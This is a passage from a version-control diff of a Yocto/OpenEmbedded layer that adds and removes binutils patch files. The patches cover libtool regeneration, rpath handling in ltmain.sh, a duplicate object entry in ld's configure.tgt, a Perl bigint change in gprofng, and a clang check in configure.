-+sharedlib_from_linklib_cmd \
- AR \
- AR_FLAGS \
-+archiver_list_spec \
- STRIP \
- RANLIB \
- CC \
-@@ -12399,12 +13069,14 @@ lt_cv_sys_global_symbol_pipe \
- lt_cv_sys_global_symbol_to_cdecl \
- lt_cv_sys_global_symbol_to_c_name_address \
- lt_cv_sys_global_symbol_to_c_name_address_lib_prefix \
-+nm_file_list_spec \
- lt_prog_compiler_no_builtin_flag \
--lt_prog_compiler_wl \
- lt_prog_compiler_pic \
-+lt_prog_compiler_wl \
- lt_prog_compiler_static \
- lt_cv_prog_compiler_c_o \
- need_locks \
-+MANIFEST_TOOL \
- DSYMUTIL \
- NMEDIT \
- LIPO \
-@@ -12420,7 +13092,6 @@ no_undefined_flag \
- hardcode_libdir_flag_spec \
- hardcode_libdir_flag_spec_ld \
- hardcode_libdir_separator \
--fix_srcfile_path \
- exclude_expsyms \
- include_expsyms \
- file_list_spec \
-@@ -12456,6 +13127,7 @@ module_cmds \
- module_expsym_cmds \
- export_symbols_cmds \
- prelink_cmds \
-+postlink_cmds \
- postinstall_cmds \
- postuninstall_cmds \
- finish_cmds \
-@@ -13054,7 +13726,8 @@ $as_echo X"$file" |
- # NOTE: Changes made to this file will be lost: look at ltmain.sh.
- #
- # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2003, 2004, 2005,
--# 2006, 2007, 2008, 2009 Free Software Foundation, Inc.
-+# 2006, 2007, 2008, 2009, 2010 Free Software Foundation,
-+# Inc.
- # Written by Gordon Matzigkeit, 1996
- #
- # This file is part of GNU Libtool.
-@@ -13157,19 +13830,42 @@ SP2NL=$lt_lt_SP2NL
- # turn newlines into spaces.
- NL2SP=$lt_lt_NL2SP
-
-+# convert \$build file names to \$host format.
-+to_host_file_cmd=$lt_cv_to_host_file_cmd
-+
-+# convert \$build files to toolchain format.
-+to_tool_file_cmd=$lt_cv_to_tool_file_cmd
-+
- # An object symbol dumper.
- OBJDUMP=$lt_OBJDUMP
-
- # Method to check whether dependent libraries are shared objects.
- deplibs_check_method=$lt_deplibs_check_method
-
--# Command to use when deplibs_check_method == "file_magic".
-+# Command to use when deplibs_check_method = "file_magic".
- file_magic_cmd=$lt_file_magic_cmd
-
-+# How to find potential files when deplibs_check_method = "file_magic".
-+file_magic_glob=$lt_file_magic_glob
-+
-+# Find potential files using nocaseglob when deplibs_check_method = "file_magic".
-+want_nocaseglob=$lt_want_nocaseglob
-+
-+# DLL creation program.
-+DLLTOOL=$lt_DLLTOOL
-+
-+# Command to associate shared and link libraries.
-+sharedlib_from_linklib_cmd=$lt_sharedlib_from_linklib_cmd
-+
- # The archiver.
- AR=$lt_AR
-+
-+# Flags to create an archive.
- AR_FLAGS=$lt_AR_FLAGS
-
-+# How to feed a file listing to the archiver.
-+archiver_list_spec=$lt_archiver_list_spec
-+
- # A symbol stripping program.
- STRIP=$lt_STRIP
-
-@@ -13199,6 +13895,12 @@ global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
- # Transform the output of nm in a C name address pair when lib prefix is needed.
- global_symbol_to_c_name_address_lib_prefix=$lt_lt_cv_sys_global_symbol_to_c_name_address_lib_prefix
-
-+# Specify filename containing input files for \$NM.
-+nm_file_list_spec=$lt_nm_file_list_spec
-+
-+# The root where to search for dependent libraries,and in which our libraries should be installed.
-+lt_sysroot=$lt_sysroot
-+
- # The name of the directory that contains temporary libtool files.
- objdir=$objdir
-
-@@ -13208,6 +13910,9 @@ MAGIC_CMD=$MAGIC_CMD
- # Must we lock files when doing compilation?
- need_locks=$lt_need_locks
-
-+# Manifest tool.
-+MANIFEST_TOOL=$lt_MANIFEST_TOOL
-+
- # Tool to manipulate archived DWARF debug symbol files on Mac OS X.
- DSYMUTIL=$lt_DSYMUTIL
-
-@@ -13322,12 +14027,12 @@ with_gcc=$GCC
- # Compiler flag to turn off builtin functions.
- no_builtin_flag=$lt_lt_prog_compiler_no_builtin_flag
-
--# How to pass a linker flag through the compiler.
--wl=$lt_lt_prog_compiler_wl
--
- # Additional compiler flags for building library objects.
- pic_flag=$lt_lt_prog_compiler_pic
-
-+# How to pass a linker flag through the compiler.
-+wl=$lt_lt_prog_compiler_wl
-+
- # Compiler flag to prevent dynamic linking.
- link_static_flag=$lt_lt_prog_compiler_static
-
-@@ -13414,9 +14119,6 @@ inherit_rpath=$inherit_rpath
- # Whether libtool must link a program against all its dependency libraries.
- link_all_deplibs=$link_all_deplibs
-
--# Fix the shell variable \$srcfile for the compiler.
--fix_srcfile_path=$lt_fix_srcfile_path
--
- # Set to "yes" if exported symbols are required.
- always_export_symbols=$always_export_symbols
-
-@@ -13432,6 +14134,9 @@ include_expsyms=$lt_include_expsyms
- # Commands necessary for linking programs (against libraries) with templates.
- prelink_cmds=$lt_prelink_cmds
-
-+# Commands necessary for finishing linking programs.
-+postlink_cmds=$lt_postlink_cmds
-+
- # Specify filename containing input files.
- file_list_spec=$lt_file_list_spec
-
-@@ -13464,210 +14169,169 @@ ltmain="$ac_aux_dir/ltmain.sh"
- # if finds mixed CR/LF and LF-only lines. Since sed operates in
- # text mode, it properly converts lines to CR/LF. This bash problem
- # is reportedly fixed, but why not run on old versions too?
-- sed '/^# Generated shell functions inserted here/q' "$ltmain" >> "$cfgfile" \
-- || (rm -f "$cfgfile"; exit 1)
--
-- case $xsi_shell in
-- yes)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_dirname file append nondir_replacement
--# Compute the dirname of FILE. If nonempty, add APPEND to the result,
--# otherwise set result to NONDIR_REPLACEMENT.
--func_dirname ()
--{
-- case ${1} in
-- */*) func_dirname_result="${1%/*}${2}" ;;
-- * ) func_dirname_result="${3}" ;;
-- esac
--}
--
--# func_basename file
--func_basename ()
--{
-- func_basename_result="${1##*/}"
--}
--
--# func_dirname_and_basename file append nondir_replacement
--# perform func_basename and func_dirname in a single function
--# call:
--# dirname: Compute the dirname of FILE. If nonempty,
--# add APPEND to the result, otherwise set result
--# to NONDIR_REPLACEMENT.
--# value returned in "$func_dirname_result"
--# basename: Compute filename of FILE.
--# value retuned in "$func_basename_result"
--# Implementation must be kept synchronized with func_dirname
--# and func_basename. For efficiency, we do not delegate to
--# those functions but instead duplicate the functionality here.
--func_dirname_and_basename ()
--{
-- case ${1} in
-- */*) func_dirname_result="${1%/*}${2}" ;;
-- * ) func_dirname_result="${3}" ;;
-- esac
-- func_basename_result="${1##*/}"
--}
--
--# func_stripname prefix suffix name
--# strip PREFIX and SUFFIX off of NAME.
--# PREFIX and SUFFIX must not contain globbing or regex special
--# characters, hashes, percent signs, but SUFFIX may contain a leading
--# dot (in which case that matches only a dot).
--func_stripname ()
--{
-- # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are
-- # positional parameters, so assign one to ordinary parameter first.
-- func_stripname_result=${3}
-- func_stripname_result=${func_stripname_result#"${1}"}
-- func_stripname_result=${func_stripname_result%"${2}"}
--}
--
--# func_opt_split
--func_opt_split ()
--{
-- func_opt_split_opt=${1%%=*}
-- func_opt_split_arg=${1#*=}
--}
--
--# func_lo2o object
--func_lo2o ()
--{
-- case ${1} in
-- *.lo) func_lo2o_result=${1%.lo}.${objext} ;;
-- *) func_lo2o_result=${1} ;;
-- esac
--}
--
--# func_xform libobj-or-source
--func_xform ()
--{
-- func_xform_result=${1%.*}.lo
--}
--
--# func_arith arithmetic-term...
--func_arith ()
--{
-- func_arith_result=$(( $* ))
--}
--
--# func_len string
--# STRING may not start with a hyphen.
--func_len ()
--{
-- func_len_result=${#1}
--}
--
--_LT_EOF
-- ;;
-- *) # Bourne compatible functions.
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_dirname file append nondir_replacement
--# Compute the dirname of FILE. If nonempty, add APPEND to the result,
--# otherwise set result to NONDIR_REPLACEMENT.
--func_dirname ()
--{
-- # Extract subdirectory from the argument.
-- func_dirname_result=`$ECHO "${1}" | $SED "$dirname"`
-- if test "X$func_dirname_result" = "X${1}"; then
-- func_dirname_result="${3}"
-- else
-- func_dirname_result="$func_dirname_result${2}"
-- fi
--}
--
--# func_basename file
--func_basename ()
--{
-- func_basename_result=`$ECHO "${1}" | $SED "$basename"`
--}
--
--
--# func_stripname prefix suffix name
--# strip PREFIX and SUFFIX off of NAME.
--# PREFIX and SUFFIX must not contain globbing or regex special
--# characters, hashes, percent signs, but SUFFIX may contain a leading
--# dot (in which case that matches only a dot).
--# func_strip_suffix prefix name
--func_stripname ()
--{
-- case ${2} in
-- .*) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%\\\\${2}\$%%"`;;
-- *) func_stripname_result=`$ECHO "${3}" | $SED "s%^${1}%%; s%${2}\$%%"`;;
-- esac
--}
--
--# sed scripts:
--my_sed_long_opt='1s/^\(-[^=]*\)=.*/\1/;q'
--my_sed_long_arg='1s/^-[^=]*=//'
--
--# func_opt_split
--func_opt_split ()
--{
-- func_opt_split_opt=`$ECHO "${1}" | $SED "$my_sed_long_opt"`
-- func_opt_split_arg=`$ECHO "${1}" | $SED "$my_sed_long_arg"`
--}
--
--# func_lo2o object
--func_lo2o ()
--{
-- func_lo2o_result=`$ECHO "${1}" | $SED "$lo2o"`
--}
--
--# func_xform libobj-or-source
--func_xform ()
--{
-- func_xform_result=`$ECHO "${1}" | $SED 's/\.[^.]*$/.lo/'`
--}
--
--# func_arith arithmetic-term...
--func_arith ()
--{
-- func_arith_result=`expr "$@"`
--}
--
--# func_len string
--# STRING may not start with a hyphen.
--func_len ()
--{
-- func_len_result=`expr "$1" : ".*" 2>/dev/null || echo $max_cmd_len`
--}
--
--_LT_EOF
--esac
--
--case $lt_shell_append in
-- yes)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_append var value
--# Append VALUE to the end of shell variable VAR.
--func_append ()
--{
-- eval "$1+=\$2"
--}
--_LT_EOF
-- ;;
-- *)
-- cat << \_LT_EOF >> "$cfgfile"
--
--# func_append var value
--# Append VALUE to the end of shell variable VAR.
--func_append ()
--{
-- eval "$1=\$$1\$2"
--}
--
--_LT_EOF
-- ;;
-- esac
--
--
-- sed -n '/^# Generated shell functions inserted here/,$p' "$ltmain" >> "$cfgfile" \
-- || (rm -f "$cfgfile"; exit 1)
--
-- mv -f "$cfgfile" "$ofile" ||
-+ sed '$q' "$ltmain" >> "$cfgfile" \
-+ || (rm -f "$cfgfile"; exit 1)
-+
-+ if test x"$xsi_shell" = xyes; then
-+ sed -e '/^func_dirname ()$/,/^} # func_dirname /c\
-+func_dirname ()\
-+{\
-+\ case ${1} in\
-+\ */*) func_dirname_result="${1%/*}${2}" ;;\
-+\ * ) func_dirname_result="${3}" ;;\
-+\ esac\
-+} # Extended-shell func_dirname implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_basename ()$/,/^} # func_basename /c\
-+func_basename ()\
-+{\
-+\ func_basename_result="${1##*/}"\
-+} # Extended-shell func_basename implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_dirname_and_basename ()$/,/^} # func_dirname_and_basename /c\
-+func_dirname_and_basename ()\
-+{\
-+\ case ${1} in\
-+\ */*) func_dirname_result="${1%/*}${2}" ;;\
-+\ * ) func_dirname_result="${3}" ;;\
-+\ esac\
-+\ func_basename_result="${1##*/}"\
-+} # Extended-shell func_dirname_and_basename implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_stripname ()$/,/^} # func_stripname /c\
-+func_stripname ()\
-+{\
-+\ # pdksh 5.2.14 does not do ${X%$Y} correctly if both X and Y are\
-+\ # positional parameters, so assign one to ordinary parameter first.\
-+\ func_stripname_result=${3}\
-+\ func_stripname_result=${func_stripname_result#"${1}"}\
-+\ func_stripname_result=${func_stripname_result%"${2}"}\
-+} # Extended-shell func_stripname implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_split_long_opt ()$/,/^} # func_split_long_opt /c\
-+func_split_long_opt ()\
-+{\
-+\ func_split_long_opt_name=${1%%=*}\
-+\ func_split_long_opt_arg=${1#*=}\
-+} # Extended-shell func_split_long_opt implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_split_short_opt ()$/,/^} # func_split_short_opt /c\
-+func_split_short_opt ()\
-+{\
-+\ func_split_short_opt_arg=${1#??}\
-+\ func_split_short_opt_name=${1%"$func_split_short_opt_arg"}\
-+} # Extended-shell func_split_short_opt implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_lo2o ()$/,/^} # func_lo2o /c\
-+func_lo2o ()\
-+{\
-+\ case ${1} in\
-+\ *.lo) func_lo2o_result=${1%.lo}.${objext} ;;\
-+\ *) func_lo2o_result=${1} ;;\
-+\ esac\
-+} # Extended-shell func_lo2o implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_xform ()$/,/^} # func_xform /c\
-+func_xform ()\
-+{\
-+ func_xform_result=${1%.*}.lo\
-+} # Extended-shell func_xform implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_arith ()$/,/^} # func_arith /c\
-+func_arith ()\
-+{\
-+ func_arith_result=$(( $* ))\
-+} # Extended-shell func_arith implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_len ()$/,/^} # func_len /c\
-+func_len ()\
-+{\
-+ func_len_result=${#1}\
-+} # Extended-shell func_len implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+fi
-+
-+if test x"$lt_shell_append" = xyes; then
-+ sed -e '/^func_append ()$/,/^} # func_append /c\
-+func_append ()\
-+{\
-+ eval "${1}+=\\${2}"\
-+} # Extended-shell func_append implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ sed -e '/^func_append_quoted ()$/,/^} # func_append_quoted /c\
-+func_append_quoted ()\
-+{\
-+\ func_quote_for_eval "${2}"\
-+\ eval "${1}+=\\\\ \\$func_quote_for_eval_result"\
-+} # Extended-shell func_append_quoted implementation' "$cfgfile" > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+test 0 -eq $? || _lt_function_replace_fail=:
-+
-+
-+ # Save a `func_append' function call where possible by direct use of '+='
-+ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1+="%g' $cfgfile > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+ test 0 -eq $? || _lt_function_replace_fail=:
-+else
-+ # Save a `func_append' function call even when '+=' is not available
-+ sed -e 's%func_append \([a-zA-Z_]\{1,\}\) "%\1="$\1%g' $cfgfile > $cfgfile.tmp \
-+ && mv -f "$cfgfile.tmp" "$cfgfile" \
-+ || (rm -f "$cfgfile" && cp "$cfgfile.tmp" "$cfgfile" && rm -f "$cfgfile.tmp")
-+ test 0 -eq $? || _lt_function_replace_fail=:
-+fi
-+
-+if test x"$_lt_function_replace_fail" = x":"; then
-+ { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: Unable to substitute extended shell functions in $ofile" >&5
-+$as_echo "$as_me: WARNING: Unable to substitute extended shell functions in $ofile" >&2;}
-+fi
-+
-+
-+ mv -f "$cfgfile" "$ofile" ||
- (rm -f "$ofile" && cp "$cfgfile" "$ofile" && rm -f "$cfgfile")
- chmod +x "$ofile"
-
---
-2.28.0
-
diff --git a/meta/recipes-devtools/binutils/binutils/0014-Fix-rpath-in-libtool-when-sysroot-is-enabled.patch b/meta/recipes-devtools/binutils/binutils/0014-Fix-rpath-in-libtool-when-sysroot-is-enabled.patch
deleted file mode 100644
index 69a2383782..0000000000
--- a/meta/recipes-devtools/binutils/binutils/0014-Fix-rpath-in-libtool-when-sysroot-is-enabled.patch
+++ /dev/null
@@ -1,52 +0,0 @@
-From f791a5d84475c02356f16679b7f4ee9c9c3408aa Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 2 Mar 2015 01:42:38 +0000
-Subject: [PATCH 14/17] Fix rpath in libtool when sysroot is enabled
-
-Enabling sysroot support in libtool exposed a bug where the final
-library had an RPATH encoded into it which still pointed to the
-sysroot. This works around the issue until it gets sorted out
-upstream.
-
-Fix suggested by Richard Purdie <richard.purdie@linuxfoundation.org>
-
-Upstream-Status: Inappropriate [embedded specific]
-
-Signed-off-by: Scott Garman <scott.a.garman@intel.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- ltmain.sh | 10 ++++++++--
- 1 file changed, 8 insertions(+), 2 deletions(-)
-
-diff --git a/ltmain.sh b/ltmain.sh
-index 70e856e0659..11ee684cccf 100644
---- a/ltmain.sh
-+++ b/ltmain.sh
-@@ -8035,9 +8035,11 @@ EOF
- test "$opt_mode" != relink && rpath="$compile_rpath$rpath"
- for libdir in $rpath; do
- if test -n "$hardcode_libdir_flag_spec"; then
-+ func_replace_sysroot "$libdir"
-+ libdir=$func_replace_sysroot_result
-+ func_stripname '=' '' "$libdir"
-+ libdir=$func_stripname_result
- if test -n "$hardcode_libdir_separator"; then
-- func_replace_sysroot "$libdir"
-- libdir=$func_replace_sysroot_result
- if test -z "$hardcode_libdirs"; then
- hardcode_libdirs="$libdir"
- else
-@@ -8770,6 +8772,10 @@ EOF
- hardcode_libdirs=
- for libdir in $compile_rpath $finalize_rpath; do
- if test -n "$hardcode_libdir_flag_spec"; then
-+ func_replace_sysroot "$libdir"
-+ libdir=$func_replace_sysroot_result
-+ func_stripname '=' '' "$libdir"
-+ libdir=$func_stripname_result
- if test -n "$hardcode_libdir_separator"; then
- if test -z "$hardcode_libdirs"; then
- hardcode_libdirs="$libdir"
---
-2.28.0
-
diff --git a/meta/recipes-devtools/binutils/binutils/0014-Remove-duplicate-pe-dll.o-entry-deom-targ_extra_ofil.patch b/meta/recipes-devtools/binutils/binutils/0014-Remove-duplicate-pe-dll.o-entry-deom-targ_extra_ofil.patch
new file mode 100644
index 0000000000..8aef2cc710
--- /dev/null
+++ b/meta/recipes-devtools/binutils/binutils/0014-Remove-duplicate-pe-dll.o-entry-deom-targ_extra_ofil.patch
@@ -0,0 +1,32 @@
+From ddd941856582a82171626cbe609325b11e223704 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 18 Jan 2023 19:35:07 -0800
+Subject: [PATCH] Remove duplicate pe-dll.o entry deom targ_extra_ofiles
+
+Commit c60b3806799abf1d7f6cf5108a1b0e733a950b13 added support for
+aarch64-pe which introduced wrapper over pep-dll.c for x86_64 as well as
+aarch64, on x86_64 it was added but the old object pe-dll.o needs to be
+removed too, otherwise build fails with duplicate symbols from pe-dll.o
+and pep-dll-x86_64.o
+
+Upstream-Status: Submitted [https://sourceware.org/pipermail/binutils/2023-January/125739.html]
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Cc: Jedidiah Thompson <wej22007@outlook.com>
+Cc: Zac Walker <zac.walker@linaro.org>
+---
+ ld/configure.tgt | 2 +-
+ 1 file changed, 1 insertion(+), 1 deletion(-)
+
+diff --git a/ld/configure.tgt b/ld/configure.tgt
+index f937f78b876..830613744c2 100644
+--- a/ld/configure.tgt
++++ b/ld/configure.tgt
+@@ -1067,7 +1067,7 @@ x86_64-*-cygwin) targ_emul=i386pep ;
+ ;;
+ x86_64-*-mingw*) targ_emul=i386pep ;
+ targ_extra_emuls=i386pe
+- targ_extra_ofiles="deffilep.o pdb.o pep-dll.o pe-dll.o"
++ targ_extra_ofiles="deffilep.o pdb.o pe-dll.o"
+ ;;
+ x86_64-*-gnu*) targ_emul=elf_x86_64
+ targ_extra_emuls="elf32_x86_64 elf_iamcu elf_i386"
diff --git a/meta/recipes-devtools/binutils/binutils/0015-gprofng-change-use-of-bignum-to-bigint.patch b/meta/recipes-devtools/binutils/binutils/0015-gprofng-change-use-of-bignum-to-bigint.patch
new file mode 100644
index 0000000000..0d3d289eba
--- /dev/null
+++ b/meta/recipes-devtools/binutils/binutils/0015-gprofng-change-use-of-bignum-to-bigint.patch
@@ -0,0 +1,17 @@
+Upstream-Status: Backport [https://sourceware.org/git/?p=binutils-gdb.git;a=commit;h=3243d790ee32aa8eda69226d81b1e79dbd1dcd87]
+
+Signed-off-by: Harish Sadineni <Harish.Sadineni@windriver.com>
+
+diff --git a/gprofng/gp-display-html/gp-display-html.in b/gprofng/gp-display-html/gp-display-html.in
+index 6f37ca282e7..306c99a0ec3 100644
+--- a/gprofng/gp-display-html/gp-display-html.in
++++ b/gprofng/gp-display-html/gp-display-html.in
+@@ -25,7 +25,7 @@ use warnings;
+ # Disable before release
+ # use Perl::Critic;
+
+-use bignum;
++use bigint;
+ use List::Util qw (max);
+ use Cwd qw (abs_path cwd);
+ use File::Basename;
diff --git a/meta/recipes-devtools/binutils/binutils/0015-sync-with-OE-libtool-changes.patch b/meta/recipes-devtools/binutils/binutils/0015-sync-with-OE-libtool-changes.patch
deleted file mode 100644
index e848f146b0..0000000000
--- a/meta/recipes-devtools/binutils/binutils/0015-sync-with-OE-libtool-changes.patch
+++ /dev/null
@@ -1,89 +0,0 @@
-From e087f96e219d47c4d2244c3f32397e56d41bfdec Mon Sep 17 00:00:00 2001
-From: Ross Burton <ross.burton@intel.com>
-Date: Mon, 6 Mar 2017 23:33:27 -0800
-Subject: [PATCH 15/17] sync with OE libtool changes
-
-Apply these patches from our libtool patches as not only are redundant RPATHs a
-waste of space but they can cause incorrect linking when native packages are
-restored from sstate.
-
-fix-rpath.patch:
-We don't want to add RPATHS which match default linker
-search paths, they're a waste of space. This patch
-filters libtools list and removes the ones we don't need.
-
-norm-rpath.patch:
-Libtool may be passed link paths of the form "/usr/lib/../lib", which
-fool its detection code into thinking it should be included as an
-RPATH in the generated binary. Normalize before comparision.
-
-Upstream-Status: Inappropriate
-
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- ltmain.sh | 34 ++++++++++++++++++++++++++++------
- 1 file changed, 28 insertions(+), 6 deletions(-)
-
-diff --git a/ltmain.sh b/ltmain.sh
-index 11ee684cccf..3b19ac15328 100644
---- a/ltmain.sh
-+++ b/ltmain.sh
-@@ -8053,8 +8053,16 @@ EOF
- esac
- fi
- else
-- eval flag=\"$hardcode_libdir_flag_spec\"
-- func_append dep_rpath " $flag"
-+ # We only want to hardcode in an rpath if it isn't in the
-+ # default dlsearch path.
-+ func_normal_abspath "$libdir"
-+ libdir_norm=$func_normal_abspath_result
-+ case " $sys_lib_dlsearch_path " in
-+ *" $libdir_norm "*) ;;
-+ *) eval flag=\"$hardcode_libdir_flag_spec\"
-+ func_append dep_rpath " $flag"
-+ ;;
-+ esac
- fi
- elif test -n "$runpath_var"; then
- case "$perm_rpath " in
-@@ -8790,8 +8798,16 @@ EOF
- esac
- fi
- else
-- eval flag=\"$hardcode_libdir_flag_spec\"
-- func_append rpath " $flag"
-+ # We only want to hardcode in an rpath if it isn't in the
-+ # default dlsearch path.
-+ func_normal_abspath "$libdir"
-+ libdir_norm=$func_normal_abspath_result
-+ case " $sys_lib_dlsearch_path " in
-+ *" $libdir_norm "*) ;;
-+ *) eval flag=\"$hardcode_libdir_flag_spec\"
-+ rpath+=" $flag"
-+ ;;
-+ esac
- fi
- elif test -n "$runpath_var"; then
- case "$perm_rpath " in
-@@ -8841,8 +8857,14 @@ EOF
- esac
- fi
- else
-- eval flag=\"$hardcode_libdir_flag_spec\"
-- func_append rpath " $flag"
-+ # We only want to hardcode in an rpath if it isn't in the
-+ # default dlsearch path.
-+ case " $sys_lib_dlsearch_path " in
-+ *" $libdir "*) ;;
-+ *) eval flag=\"$hardcode_libdir_flag_spec\"
-+ func_append rpath " $flag"
-+ ;;
-+ esac
- fi
- elif test -n "$runpath_var"; then
- case "$finalize_perm_rpath " in
---
-2.28.0
-
diff --git a/meta/recipes-devtools/binutils/binutils/0016-Check-for-clang-before-checking-gcc-version.patch b/meta/recipes-devtools/binutils/binutils/0016-Check-for-clang-before-checking-gcc-version.patch
deleted file mode 100644
index 400b79823f..0000000000
--- a/meta/recipes-devtools/binutils/binutils/0016-Check-for-clang-before-checking-gcc-version.patch
+++ /dev/null
@@ -1,48 +0,0 @@
-From ae5a7d622dc9addb2ca9fc85889c45964c025a9c Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 15 Apr 2020 14:17:20 -0700
-Subject: [PATCH 16/17] Check for clang before checking gcc version
-
-Clang advertises itself to be gcc 4.2.1, so when compiling this test
-here fails since gcc < 4.4.5 did not support -static-libstdc++ but thats
-not true for clang, so its better to make an additional check for clang
-before resorting to gcc version check. This should let clang enable
-static libstdc++ linking
-
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- configure | 2 +-
- configure.ac | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/configure b/configure
-index 6782f8b6ab8..72f5766b363 100755
---- a/configure
-+++ b/configure
-@@ -5143,7 +5143,7 @@ ac_compiler_gnu=$ac_cv_cxx_compiler_gnu
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
-
--#if (__GNUC__ < 4) || (__GNUC__ == 4 && __GNUC_MINOR__ < 5)
-+#if !defined(__clang__) && ((__GNUC__ < 4) || (__GNUC__ == 4 && __GNUC_MINOR__ < 5))
- #error -static-libstdc++ not implemented
- #endif
- int main() {}
-diff --git a/configure.ac b/configure.ac
-index 55beb1dea46..3f9e613e2d9 100644
---- a/configure.ac
-+++ b/configure.ac
-@@ -1312,7 +1312,7 @@ if test "$GCC" = yes; then
- AC_MSG_CHECKING([whether g++ accepts -static-libstdc++ -static-libgcc])
- AC_LANG_PUSH(C++)
- AC_LINK_IFELSE([AC_LANG_SOURCE([
--#if (__GNUC__ < 4) || (__GNUC__ == 4 && __GNUC_MINOR__ < 5)
-+#if !defined(__clang__) && ((__GNUC__ < 4) || (__GNUC__ == 4 && __GNUC_MINOR__ < 5))
- #error -static-libstdc++ not implemented
- #endif
- int main() {}])],
---
-2.28.0
-
diff --git a/meta/recipes-devtools/binutils/binutils/0017-Do-not-emit-R_RISCV_NONE-reloc-in-the-extra-unused-r.patch b/meta/recipes-devtools/binutils/binutils/0017-Do-not-emit-R_RISCV_NONE-reloc-in-the-extra-unused-r.patch
deleted file mode 100644
index 99bb38eb67..0000000000
--- a/meta/recipes-devtools/binutils/binutils/0017-Do-not-emit-R_RISCV_NONE-reloc-in-the-extra-unused-r.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From 5b61c40c34c3db699de723c3128ba704501ccdac Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Mon, 20 Apr 2020 14:23:57 -0700
-Subject: [PATCH 17/17] Do not emit R_RISCV_NONE reloc in the extra unused
- reloc space.
-
-Redundant R_RISCV_DTPMOD* R_RISCV_DTPREL* results from Global Dynamic -> Local Exec relaxation
-which generates
-
-Patch from https://sourceware.org/bugzilla/show_bug.cgi?id=24673
-
-Upstream-Status: Pending
-
